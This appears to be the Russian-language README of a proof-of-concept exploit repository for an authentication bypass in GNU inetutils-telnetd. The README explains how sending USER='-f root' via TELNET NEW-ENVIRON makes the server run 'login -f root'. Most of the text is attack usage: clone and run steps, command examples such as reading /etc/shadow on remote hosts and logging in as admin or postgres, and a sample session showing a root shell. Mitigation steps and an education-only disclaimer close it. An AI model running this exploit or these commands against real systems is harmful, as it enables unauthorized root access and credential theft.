
inetutils-telnetd Обход аутентификации - рабочая версия
Эксплойт proof-of-concept для уязвимости обхода аутентификации в GNU inetutils-telnetd.
CVE-2026-24061 — это критическая уязвимость обхода аутентификации, затрагивающая inetutils-telnetd версий 1.9.3–2.7. Она позволяет удалённому злоумышленнику получить root-оболочку на уязвимых системах без ввода каких-либо учётных данных.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-24061 |
| Затронутое ПО | GNU inetutils-telnetd |
| Затронутые версии | 1.9.3 – 2.7 |
| Тип уязвимости | Обход аутентификации |
| Оценка CVSS | Критическая |
| Вектор атаки | Сеть |
Уязвимость использует недостаток в том, как telnetd обрабатывает переменную окружения USER, полученную через опцию TELNET NEW-ENVIRON (RFC 1572) во время согласования протокола.
Согласование протокола TELNET: Когда клиент подключается, сервер и клиент согласовывают возможности, включая опцию NEW-ENVIRON, которая позволяет клиенту отправлять переменные окружения.
Вредоносное значение USER: Эксплойт отправляет USER=-f root в качестве переменной окружения на этапе согласования.
Небезопасная передача аргументов: Уязвимый telnetd передаёт это значение без санитизации программе login.
Инъекция команд: Программа login интерпретирует -f root как флаги командной строки:
-f = «принудительный вход без аутентификации»root = имя пользователя, под которым выполняется входДоступ root: Злоумышленник получает root-оболочку, так и не получив запроса на ввод пароля.
Клиент отправляет: USER = "-f root"
telnetd выполняет: login -f root
Результат: Root-оболочка предоставлена без аутентификации
Это эквивалентно выполнению USER='-f root' telnet -a localhost на системе с уязвимым telnetd.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [ОПЦИИ] <цель>
| Опция | Описание | По умолчанию |
|---|---|---|
host | Имя хоста или IP-адрес цели | Обязательно |
-p, --port | Порт цели | 23 |
-u, --user | Внедряемое значение USER | -f root |
-c, --command | Выполнить одну команду (неинтерактивно) | Нет |
-t, --timeout | Тайм-аут подключения в секундах | 10 |
Интерактивная root-оболочка на localhost:
./exploit.py localhost
Интерактивная root-оболочка на удалённом хосте:
./exploit.py 192.168.1.100
Выполнить одну команду и выйти:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
Вход под другим пользователем:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
Нестандартный порт:
./exploit.py -p 2323 localhost
Комбинирование опций:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
При запуске без флага -c эксплойт открывает интерактивную оболочку:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - Обход аутентификации в inetutils-telnetd ║
║ Затрагивает: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Подключение к 192.168.1.100:23
[*] Согласование опций TELNET...
[*] Согласовано NEW-ENVIRON (отправка USER='-f root')
[+] Отправлено USER='-f root' через NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
Отключите telnetd: Если он не является строго необходимым, полностью отключите службу telnet
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
Используйте SSH вместо telnet: Замените telnet на SSH для удалённого доступа
sudo apt install openssh-server
Правила межсетевого экрана: Заблокируйте порт 23 для ненадёжных сетей
sudo ufw deny 23/tcp
Эксплойт реализует минимальный TELNET-клиент, который:
USER=-f root в ответе ENV_ISЭтот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Лицензия MIT — Подробности см. в LICENSE.